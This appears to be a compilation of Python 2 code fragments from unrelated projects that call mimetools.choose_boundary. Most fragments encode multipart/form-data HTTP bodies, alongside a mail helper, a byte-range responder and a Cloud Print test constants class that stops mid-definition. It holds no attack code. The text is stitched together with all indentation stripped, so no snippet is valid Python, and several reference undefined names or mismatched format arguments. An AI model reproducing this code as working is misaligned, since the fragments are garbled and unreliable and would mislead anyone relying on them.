def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buffer is None:
buffer = StringIO()
for(key, value) in vars:
buffer.write('--%s\r\n' % boundary)
buffer.write('Content-Disposition: form-data; name="%s"' % key)
buffer.write('\r\n\r\n')
buffer.write(value)
buffer.write('\r\n')
# buffer += '--%s\r\n' % boundary
# buffer += 'Content-Disposition: form-data; name="%s"' % key
# buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
# filename = fd.name.split('/')[-1]
filename = 'filename'
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buffer.write('--%s\r\n' % boundary)
buffer.write('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename))
buffer.write('Content-Type: %s\r\n' % contenttype)
# buffer += '--%s\r\n' % boundary
# buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
# buffer += 'Content-Type: %s\r\n' % contenttype
# buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0)
buffer.write('\r\n')
buffer.write(fd.read())
buffer.write('\r\n')
buffer.write('--%s--\r\n\r\n' % boundary)
buffer.seek(0)
return boundary, buffer.read()
def _encode_multipart_formdata(self, fields, files):
"""
Encodes data for use in an HTTP POST.
"""
BOUNDARY = mimetools.choose_boundary()
content = ""
fields = fields or {}
files = files or {}
for key in fields:
content += "--" + BOUNDARY + "\r\n"
content += "Content-Disposition: form-data; name=\"%s\"\r\n" % key
content += "\r\n"
content += str(fields[key]) + "\r\n"
for key in files:
filename = files[key]['filename']
value = files[key]['content']
content += "--" + BOUNDARY + "\r\n"
content += "Content-Disposition: form-data; name=\"%s\"; " % key
content += "filename=\"%s\"\r\n" % filename
content += "\r\n"
content += value + "\r\n"
content += "--" + BOUNDARY + "--\r\n"
content += "\r\n"
content_type = "multipart/form-data; boundary=%s" % BOUNDARY
return content_type, content
def encode_multipart_formdata(self,fields, files, BOUNDARY = '-----'+mimetools.choose_boundary()+'-----'):
""" Encodes fields and files for uploading.
fields is a sequence of (name, value) elements for regular form fields - or a dictionary.
files is a sequence of (name, filename, value) elements for data to be uploaded as files.
Return (content_type, body) ready for urllib2.Request instance
You can optionally pass in a boundary string to use or we'll let mimetools provide one.
"""
CRLF = '\r\n'
L = []
if isinstance(fields, dict):
fields = fields.items()
for (key, value) in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, filename, value) in files:
filetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: %s' % filetype)
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY # XXX what if no files are encoded
return content_type, body
def multipart_encode(vars, files, boundary=None, buffer=None):
if boundary is None:
# Before :
# boundary = mimetools.choose_boundary()
# '127.0.0.1.1000.6267.1173556103.828.1'
# This contains my IP address, I dont like that...
# Now:
m = hashlib.md5()
m.update(mimetools.choose_boundary())
boundary = m.hexdigest()
if buffer is None:
buffer = ''
for(key, value) in vars:
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files:
filename = fd.name.split( os.path.sep )[-1]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
buffer += 'Content-Type: %s\r\n' % contenttype
# buffer += 'Content-Length: %s\r\n' % getFileSize(fd)
fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer
def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buffer is None:
buffer = ''
for(key, value) in vars:
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files:
# allow them to pass in a file or a tuple with name & data
if type(fd) == file:
name_in = fd.name
fd.seek(0)
data_in = fd.read()
elif type(fd) in (tuple, list):
name_in, data_in = fd
filename = os.path.basename(name_in)
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
buffer += 'Content-Type: %s\r\n' % contenttype
# buffer += 'Content-Length: %s\r\n' % file_size
buffer += '\r\n' + data_in + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer
def multipart_encode(data, charset):
"""Encode 'data' for a multipart post. If any of the values is of type file,
the content of the file is read and added to the output. If any of the
values is of type unicode, it is encoded using 'charset'. Returns a pair
of the encoded string and content type string, which includes the multipart
boundary used."""
import mimetools, mimetypes
boundary = mimetools.choose_boundary()
encoded = []
for key, value in data.iteritems():
encoded.append('--%s' % boundary)
if isinstance(value, file):
fd = value
filename = fd.name.split('/')[-1]
content_type = (mimetypes.guess_type(filename)[0] or
'application/octet-stream')
encoded.append('Content-Disposition: form-data; ' +
'name="%s"; filename="%s"' % (key, filename))
encoded.append('Content-Type: %s' % content_type)
fd.seek(0)
value = fd.read()
else:
encoded.append('Content-Disposition: form-data; name="%s"' % key)
if isinstance(value, unicode):
value = value.encode(charset)
encoded.append('') # empty line
encoded.append(value)
encoded.append('--' + boundary + '--')
encoded.append('') # empty line
encoded.append('') # empty line
encoded = '\r\n'.join(encoded)
content_type = 'multipart/form-data; boundary=%s' % boundary
return encoded, content_type
def encode_multipart_formdata(fields, files):
BOUNDARY = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
total_size = 0
L = []
for key, value in fields.items():
key, value = key.encode('utf8'), value.encode('utf8')
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for pair in files:
key, filename = pair[0].encode('utf8'), pair[1].encode('utf8')
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' %
(key, 'hotot.png'));
L.append('Content-Type: %s' % get_content_type(filename))
L.append('')
L.append(file(filename).read())
total_size += os.path.getsize(filename)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
headers = {'content-type':'multipart/form-data; boundary=%s' % BOUNDARY
, 'content-length': str(len(body))};
return headers, body
def __encodeMultipart(self, fields, files):
"""
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
"""
boundary = mimetools.choose_boundary()
crlf = '\r\n'
l = []
for k, v in fields:
l.append('--' + boundary)
l.append('Content-Disposition: form-data; name="%s"' % k)
l.append('')
l.append(v)
for (k, f, v) in files:
l.append('--' + boundary)
l.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (k, f))
l.append('Content-Type: %s' % self.__getContentType(f))
l.append('')
l.append(v)
l.append('--' + boundary + '--')
l.append('')
body = crlf.join(l)
return boundary, body
def _upload(self, upload, params):
res = []
boundary = mimetools.choose_boundary()
part_boundary = '--' + boundary
if params:
for name, value in params.iteritems():
res.append([part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value])
if isinstance(upload, dict):
upload = [upload]
for obj in upload:
name = obj.get('name')
filename = obj.get('filename', 'default')
content_type = obj.get('content-type')
try:
body = obj['body'].read()
except AttributeError:
body = obj['body']
if content_type:
res.append([part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % (name, urllib.quote(filename)),
'Content-Type: %s' % content_type, '', body])
else:
res.append([part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % (name, urllib.quote(filename)), '',
body])
result = list(itertools.chain(*res))
result.append('--' + boundary + '--')
result.append('')
return boundary, '\r\n'.join(result)
def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buffer is None:
buffer = StringIO()
for(key, value) in vars:
buffer.write('--%s\r\n' % boundary)
buffer.write('Content-Disposition: form-data; name="%s"' % key)
if value is None:
value = ""
# if type(value) is not str, we need str(value) to not error with cannot concatenate 'str'
# and 'dict' or 'tuple' or somethingelse objects
buffer.write('\r\n\r\n' + str(value) + '\r\n')
for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buffer.write('--%s\r\n' % boundary)
buffer.write('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename))
buffer.write('Content-Type: %s\r\n' % contenttype)
buffer.write('Content-Length: %s\r\n' % file_size)
fd.seek(0)
buffer.write('\r\n' + fd.read() + '\r\n')
buffer.write('--' + boundary + '--\r\n')
buffer = buffer.getvalue()
return boundary, buffer
def multipart_encode(vars, files, boundary = None, buf = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buf is None:
buf = StringIO()
for(key, value) in vars:
buf.write('--%s\r\n' % boundary)
buf.write('Content-Disposition: form-data; name="%s"' % key)
buf.write('\r\n\r\n' + value + '\r\n')
for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1:][0]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buf.write('--%s\r\n' % boundary)
buf.write('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename))
buf.write('Content-Type: %s\r\n' % contenttype)
fd.seek(0)
if compress:
buf.write('\r\n' + zlib.compress(fd.read()) + '\r\n')
else:
buf.write('\r\n' + fd.read() + '\r\n')
buf.write('--' + boundary + '--\r\n\r\n')
buf = buf.getvalue()
return boundary, buf
def encode_multipart_formdata(fields, files):
"""
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
"""
BOUNDARY = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
for (key, value) in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, filename, value) in files:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: %s' % get_content_type(filename))
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body
def dumps(fields, **kw):
'''
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
'''
BOUNDARY = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
for key, value in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
files = kw.get('files', False)
if files:
def get_content_type(filename):
return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
for key, filename, value in files:
L.append('--' + BOUNDARY)
L.append(
'Content-Disposition: form-data; name="%s"; filename="%s"' % (
key, filename
)
)
L.append('Content-Type: %s' % get_content_type(filename))
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body
def encode_multipart_form(self, fields):
boundary = mimetools.choose_boundary()
body = []
for k, v in fields.items():
body.append("--" + boundary.encode("utf-8"))
header = 'Content-Disposition: form-data; name="%s";' % k
if isinstance(v, FilePath):
header += 'filename="%s";' % v.basename()
body.append(header)
header = "Content-Type: application/octet-stream"
body.append(header)
body.append("")
body.append(v.getContent())
elif hasattr(v, 'read'):
header += 'filename="%s";' % 'unknown'
body.append(header)
header = "Content-Type: application/octet-stream"
body.append(header)
body.append("")
body.append(v.read())
else:
body.append(header)
body.append("")
body.append(str(v).encode('utf-8'))
body.append("--" + boundary.encode("utf-8"))
content_type = 'multipart/form-data; boundary=%s' % boundary
return (content_type, '\r\n'.join(body))
def make_multipart_formdata(values):
boundary = mimetools.choose_boundary()
content_type = 'multipart/form-data; boundary=' + boundary
def parts():
for field, value in values:
field = str(field)
yield '--' + boundary
if isinstance(value, basestring):
yield 'Content-Disposition: form-data; name="' + field + '"'
yield ''
yield str(value)
else:
filename, mimetype, file_ = value
yield ('Content-Disposition: form-data; name="' + field +
'"; filename="' + str(filename) + '"')
yield 'Content-Type: ' + str(mimetype)
yield ''
while 1:
chunk = file_.read(4096)
if chunk:
yield chunk
else:
break
yield '--' + boundary + '--'
yield ''
return content_type, '\r\n'.join(parts())
def _encode_multipart_formdata(self, fields, files):
"""
Encodes data for use in an HTTP POST or PUT.
"""
BOUNDARY = mimetools.choose_boundary()
content = []
fields = fields or {}
files = files or {}
for key in fields:
content.append("--" + BOUNDARY + "\r\n")
content.append('Content-Disposition: form-data; name="%s"\r\n' % key)
content.append("\r\n")
content.append(fields[key])
content.append("\r\n")
for key in files:
filename = files[key]["filename"]
value = files[key]["content"]
content.append("--" + BOUNDARY + "\r\n")
content.append('Content-Disposition: form-data; name="%s"; ' % key)
content.append('filename="%s"\r\n' % filename)
content.append("\r\n")
content.append(value)
content.append("\r\n")
content.append("--")
content.append(BOUNDARY)
content.append("--\r\n")
content.append("\r\n")
content_type = "multipart/form-data; boundary=%s" % BOUNDARY
return content_type, "".join(map(str, content))
def POST(self, path, parameter_dict, file_list=None):
self._connect()
parameter_dict.update(__ac_name=self.conn.username,
__ac_password=self.conn.password)
header_dict = {'Content-type': "application/x-www-form-urlencoded"}
if file_list is None:
body = urllib.urlencode(parameter_dict)
else:
boundary = mimetools.choose_boundary()
header_dict['Content-type'] = 'multipart/form-data; boundary=%s' % (
boundary,)
body = ''
for k, v in parameter_dict.iteritems():
body += '--%s\r\n' % boundary
body += 'Content-Disposition: form-data; name="%s"\r\n' % k
body += '\r\n'
body += '%s\r\n' % v
for name, filename in file_list:
f = open(filename, 'r')
body += '--%s\r\n' % boundary
body += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n'\
% (name, name)
body += 'Content-Type: %s\r\n' % get_content_type(f)
body += 'Content-Length: %d\r\n' % os.fstat(f.fileno())[stat.ST_SIZE]
body += '\r\n'
body += f.read()
f.close()
body += '\r\n'
self.connection.request("POST", self.conn.path + '/' + path,
body, header_dict)
self.response = self.connection.getresponse()
def multipart_encode(vars, files, boundary=None, buf=None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buf is None:
buf = ""
for (key, value) in vars:
if key is not None and value is not None:
buf += "--%s\r\n" % boundary
buf += "Content-Disposition: form-data; name=\"%s\"" % key
buf += "\r\n\r\n" + value + "\r\n"
for (key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len
filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1]
try:
contenttype = mimetypes.guess_type(filename)[0] or "application/octet-stream"
except:
# Reference: http://bugs.python.org/issue9291
contenttype = "application/octet-stream"
buf += "--%s\r\n" % boundary
buf += "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (key, filename)
buf += "Content-Type: %s\r\n" % contenttype
# buf += "Content-Length: %s\r\n" % file_size
fd.seek(0)
buf = str(buf) if not isinstance(buf, unicode) else buf.encode("utf8")
buf += "\r\n%s\r\n" % fd.read()
buf += "--%s--\r\n\r\n" % boundary
return boundary, buf
def encode_multipart_formdata(self, fields, files):
"""
Properly encodes the multipart body of the request
:param fields: a dict, the parameters used in the request
:param files: a list of tuples containing information about the files
:returns: the content for the body and the content-type value
"""
import mimetools
import mimetypes
BOUNDARY = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
for (key, value) in fields.items():
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="{0}"'.format(key))
L.append('')
L.append(value)
for (key, filename, value) in files:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="{0}"; filename="{1}"'.format(key, filename))
L.append('Content-Type: {0}'.format(mimetypes.guess_type(filename)[0] or 'application/octet-stream'))
L.append('Content-Transfer-Encoding: binary')
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary={0}'.format(BOUNDARY)
return content_type, body
def __encodeForm(inputs):
"""
Takes a dict of inputs and returns a multipart/form-data string
containing the utf-8 encoded data. Keys must be strings, values
can be either strings or file-like objects.
"""
boundary = mimetools.choose_boundary()
lines = []
for key, val in inputs.items():
lines.append("--" + boundary.encode("utf-8"))
header = 'Content-Disposition: form-data; name="%s";' % key
if isinstance(val, gio.File):
header += 'filename="%s";' % val.get_basename()
lines.append(header)
header = "Content-Type: application/octet-stream"
lines.append(header)
lines.append("")
if isinstance(val, gio.File):
contents, length, etags = val.load_contents()
lines.append(contents)
# Otherwise just hope it is string-like and encode it to
# UTF-8. TODO: this breaks when val is binary data.
else:
lines.append(str(val).encode('utf-8'))
# Add final boundary.
lines.append("--" + boundary.encode("utf-8"))
return (boundary, '\r\n'.join(lines))
def _encode_multipart_formdata(self, fields, files):
LIMIT = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
for (key, value) in fields.iteritems():
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
if isinstance(value, bool):
L.append(json.dumps(value))
elif isinstance(value, list):
L.append(str(value))
else:
L.append(value)
for (key, value, filename) in files:
L.append('--' + LIMIT)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: %s' % self._get_content_type3(filename))
L.append('')
L.append(open(value, 'rb').read())
L.append('--' + LIMIT + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % LIMIT
return content_type, body
def multipart_encode(vars, files, boundary = None, buf = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buf is None:
buf = ''
for (key, value) in vars:
buf += '--%s\r\n' % boundary
buf += 'Content-Disposition: form-data; name="%s"' % key
buf += '\r\n\r\n' + value + '\r\n'
for (key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1]
contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
buf += '--%s\r\n' % boundary
buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
buf += 'Content-Type: %s\r\n' % contenttype
# buf += 'Content-Length: %s\r\n' % file_size
fd.seek(0)
buf = str(buf)
buf += '\r\n%s\r\n' % fd.read()
buf += '--%s--\r\n\r\n' % boundary
return boundary, buf
def encode_multipart_formdata(fields,files,mimetype=None):
"""
Derived from - http://code.activestate.com/recipes/146306/
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be
uploaded as files
Returns (content_type, body) ready for httplib.HTTP instance
"""
BOUNDARY = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
for (key, value) in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, filename, value) in files:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (
key, filename))
L.append('Content-Type: %s' % (mimetype or
mimetypes.guess_type(filename)[0] or
'application/octet-stream'))
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(map(bytes,L))
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body
def sendmail(From, To, Cc=None, Bcc=None, Subject="",
Body="", File=None, Filename="", InReplyTo=None):
text = makePart(Body, "quoted-printable")
if File is not None:
data = File.read()
if data:
attach = makePart(data, "base64")
ext = os.path.splitext(Filename)[1]
ctype = mimetypes.guess_type(ext)[0] or "application/octet-stream"
attach["Content-Type"] = ctype
Filename = os.path.split(Filename)[1]
attach["Content-Disposition"] = 'attachment; filename="%s"' % Filename
msg = Message(StringIO())
msg.boundary = choose_boundary()
msg["Content-Type"] = 'multipart/mixed; boundary="%s"' % msg.boundary
msg.parts.extend([text, attach])
else: msg = text
else: msg = text
msg["From"] = From
msg["To"] = To
if Cc: msg["Cc"] = Cc
if Bcc: msg["Bcc"] = Bcc
if InReplyTo: msg["In-Reply-To"] = InReplyTo
msg["Subject"] = Subject or ""
msg["Mime-Version"] = "1.0"
text["Content-Type"] = "text/plain; charset=ISO-8859-1"
msg["X-Mailer"] = XMailer
Recipients = msg.getaddrlist("to") + msg.getaddrlist("cc") + msg.getaddrlist("bcc")
for i in range(len(Recipients)):
Recipients[i] = Recipients[i][1]
return sendMessage(From, Recipients, msg)
def encode_multipart_formdata(fields, files):
BOUNDARY = mimetools.choose_boundary()
CRLF = "\r\n"
L = []
total_size = 0
L = []
for key, value in fields.items():
key, value = str(key).encode("utf8"), str(value).encode("utf8")
L.append("--" + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append("")
L.append(value)
for pair in files:
key, filename = pair[0].encode("utf8"), pair[1].encode("utf8")
L.append("--" + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, "hotot.png"))
L.append("Content-Type: %s" % get_content_type(filename))
L.append("")
L.append(file(filename).read())
total_size += os.path.getsize(filename)
L.append("--" + BOUNDARY + "--")
L.append("")
body = CRLF.join(L)
headers = {"content-type": "multipart/form-data; boundary=%s" % BOUNDARY, "content-length": str(len(body))}
return headers, body
def http_request(self, request):
data = request.get_data()
if data is not None and not isinstance(data, str):
files = []
vars = []
try:
for key, value in data.iteritems():
#XXX; better check
if hasattr(value, 'read'):
files.append((key, value))
else:
vars.append((key, value))
except TypeError:
systype, value, traceback = sys.exc_info()
raise TypeError, "not a valid non-string sequence or mapping object", traceback
if not files:
data = urllib.urlencode(vars, doseq)
else:
boundary = mimetools.choose_boundary()
data = encode_multipart(vars, files, boundary)
contenttype = 'multipart/form-data; boundary=%s' % boundary
if (request.has_header('Content-Type')
and request.get_header('Content-Type').find('multipart/form-data') != 0):
log.debug("replace Content-Type %s with %s %s" % (request.get_header('content-type'), 'multipart/form-data'))
request.add_unredirected_header('Content-Type', contenttype)
request.add_data(data)
return request
def setup_multi_part_response(r, rngs, clen, content_type):
""" Setups a response object for a multi part response, based on the byte
ranges requested. Based on Cherrypy 3.1 implementation.
@param r: response object
@param rngs: list of ranges
@param clen: length of the body file
"""
b = mimetools.choose_boundary()
r.headers['Content-type'] = 'multipart/byteranges;'\
'boundary=%s' % b
real_file = r.body
def mpart_body_generator():
yield '\r\n'
for start, stop in rngs:
yield '--%s\r\n' % b
yield 'Content-type: %s\r\n' % content_type
yield 'Content-range: bytes\r\n%s-%s/%s\r\n\r\n' % \
(start, stop - 1, clen)
real_file.seek(start)
for c in chunk_generator(real_file, chunks_size, stop-start):
yield c
yield '\r\n'
yield '--%s--\r\n' % b
r.body = mpart_body_generator()
def __init__(self,
data):
self.data = data
self.boundary = mimetools.choose_boundary()
if 'audio' in data:
self.input_name = 'audio'
self.input_file = data.pop('audio')
if 'document' in data:
self.input_name = 'document'
self.input_file = data.pop('document')
if 'photo' in data:
self.input_name = 'photo'
self.input_file = data.pop('photo')
if 'video' in data:
self.input_name = 'video'
self.input_file = data.pop('video')
if isinstance(self.input_file, file):
self.filename = os.path.basename(self.input_file.name)
self.input_file_content = self.input_file.read()
if 'http' in self.input_file:
self.filename = os.path.basename(self.input_file)
self.input_file_content = urllib2.urlopen(self.input_file).read()
self.mimetype = mimetypes.guess_type(self.filename)[0] or \
'application/octet-stream'
def encode_multipart_formdata(fields, files):
"""
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
"""
mimetools._prefix = "some-random-string-you-like" # vincent patch : http://mail.python.org/pipermail/python-list/2006-December/420360.html
BOUNDARY = mimetools.choose_boundary()
CRLF = '\r\n'
L = []
for (key, value) in fields:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"' % key)
L.append('')
L.append(value)
for (key, filename, value) in files:
L.append('--' + BOUNDARY)
L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
L.append('Content-Type: %s' % get_content_type(filename))
L.append('')
L.append(value)
L.append('--' + BOUNDARY + '--')
L.append('')
body = CRLF.join(L)
content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
return content_type, body
def encode_multipart(fields, files):
"""
fields is a sequence of (name, value) elements for regular form fields.
files is a sequence of (name, filename, value) elements for data to be uploaded as files
Return (content_type, body) ready for httplib.HTTP instance
"""
boundary = mimetools.choose_boundary()
res = []
for (key, value) in fields:
res.append('--' + boundary)
res.append('Content-Disposition: form-data; name="%s"' % key)
res.append('')
res.append(str(value))
for (key, filename, value) in files:
size = len(value)
res.append('--' + boundary)
res.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
res.append('Content-Type: %s' % get_content_type(filename))
res.append('Content-Length: %s' % size)
res.append('')
res.append(value)
res.append('--' + boundary + '--')
res.append('')
body = '\r\n'.join(res)
content_type = 'multipart/form-data; boundary=%s' % boundary
return content_type, body
def do_open(self, http_class, req):
data = req.get_data()
v_files = []
v_vars = []
if req.has_data() and type(data) != str:
if hasattr(data, 'items'):
data = data.items()
else:
try:
if len(data) and not isinstance(data[0], tuple):
raise TypeError
except TypeError:
ty, va, tb = sys.exc_info()
raise TypeError, 'not a valid non-string sequence or mapping object', tb
for k, v in data:
if isinstance(v, dict):
if not v.has_key('fd'):
raise TypeError(
"if value is dict, it must have keys 'fd' and 'filename"
)
if not v.has_key('filename'):
raise TypeError(
"if value is dict, it must have keys 'fd' and 'filename"
)
v_files.append((k, v))
elif hasattr(v, 'read'):
v_files.append((k, v))
else:
v_vars.append((k, v))
if len(v_vars) > 0 and len(v_files) == 0:
data = urllib.urlencode(v_vars)
v_files = []
v_vars = []
host = req.get_host()
if not host:
raise urllib2.URLError('no host given')
h = http_class(host)
if req.has_data():
h.putrequest(req.get_method(), req.get_selector())
if 'Content-type' not in req.headers:
if len(v_files) > 0:
boundary = mimetools.choose_boundary()
l = send_data(v_vars, v_files, boundary)
h.putheader('Content-Type',
'multipart/form-data; boundary=%s' % boundary)
h.putheader('Content-length', str(l))
else:
h.putheader('Content-type',
'application/x-www-form-urlencoded')
if 'Content-length' not in req.headers:
h.putheader('Content-length', '%d' % len(data))
else:
h.putrequest(req.get_method(), req.get_selector())
scheme, sel = urllib.splittype(req.get_selector())
sel_host, sel_path = urllib.splithost(sel)
h.putheader('Host', sel_host or host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if name not in req.headers:
h.putheader(name, value)
for k, v in req.headers.items():
h.putheader(k, v)
try:
h.endheaders()
except socket.error as err:
raise urllib2.URLError(err)
if req.has_data():
if len(v_files) > 0:
l = send_data(v_vars, v_files, boundary, h)
elif len(v_vars) > 0:
data = urllib.urlencode(v_vars)
h.send(data)
else:
h.send(data)
code, msg, hdrs = h.getreply()
fp = h.getfile()
if code == 200:
resp = urllib.addinfourl(fp, hdrs, req.get_full_url())
resp.code = code
resp.msg = msg
return resp
else:
return self.parent.error('http', req, fp, code, msg, hdrs)
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
class Constants(object):
"""A classs that holds constants for the Logo Certification tool."""
ACCOUNTS = 'https://accounts.google.com'
AUTH = {
'CRED_FILE':
'credentials.txt',
'REDIRECT':
'urn:ietf:wg:oauth:2.0:oob',
'SCOPE': ('https://www.googleapis.com/auth/cloudprint '
'https://spreadsheets.google.com/feeds/'),
'USER_AGENT':
'CloudPrint_Client',
}
# AUTOMODE determines if manual input is needed for some test results.
# If a user must examine a print job to determine pass or fail, set
# AUTOMODE to False.
AUTOMODE = False
# A simple marker for the boundary of a multipart field for form data.
BOUNDARY = mimetools.choose_boundary()
# CAPS represent device features and affects which tests will be run.
# The values should be True or False.
CAPS = {
'COLLATE': False,
'COLOR': False,
'COPIES_LOCAL':
True, # If a Printer supports copies for local printing,
# set this to True.
'COPIES_CLOUD':
True, # If a Printer supports copies for cloud printing,
# set this to True.
'COVER': True, # Not all printers have a cover.
'DUPLEX': True,
'LAYOUT_ISSUE': True, # Printer must set page orientation for local
# printing, so page_orientation is still needed
# in the printer capabilities.
'LOCAL_PRINT': True, # If a Printer supports local printing without
# being registered, set this to True.
'TONER': True, # Set to false if printer is thermal or has no toner.
'TRAY_SENSOR':
False, # Set this to True if printer has sensor to detect
# if the paper tray is open.
'MEDIA_SENSOR':
False, # Set this to True if printer has sensor to detect
# if the paper tray is empty.
}
# Carriage return.
CRLF = '\r\n'
GCP = {
'LEARN': 'http://www.google.com/cloudprint/learn/',
'MGT': 'https://www.google.com/cloudprint',
'PRINTERS': 'https://www.google.com/cloudprint#printers',
'SIMULATE': 'https://www.google.com/cloudprint/simulate.html',
}
GOOGLE = 'https://www.google.com'
# The following are the Google IDs of various type of documents.
GOOGLE_DOCS = {
'DOC1': ('https://docs.google.com/document/d/<doc_id of 1 page doc>'),
'SHEET1': ('https://docs.google.com/spreadsheets/d/'
'<doc id of 1 page spreadsheet'),
'PREZ1': ('https://docs.google.com/presentation/d/'
'<doc id of 1 page presentation (slide)'),
'GMAIL1':
'https://mail.google.com/mail/u/0/#inbox/<mail id 1 page>',
'GMAIL2':
'https://mail.google.com/mail/u/0/#inbox/'
'mail id with foreign characters',
'GMAIL3':
'https://mail.google.com/mail/u/0/#inbox/'
'mail id with an embedded image',
}
image_dir = os.path.join(os.getcwd(), 'images')
IMAGES = {
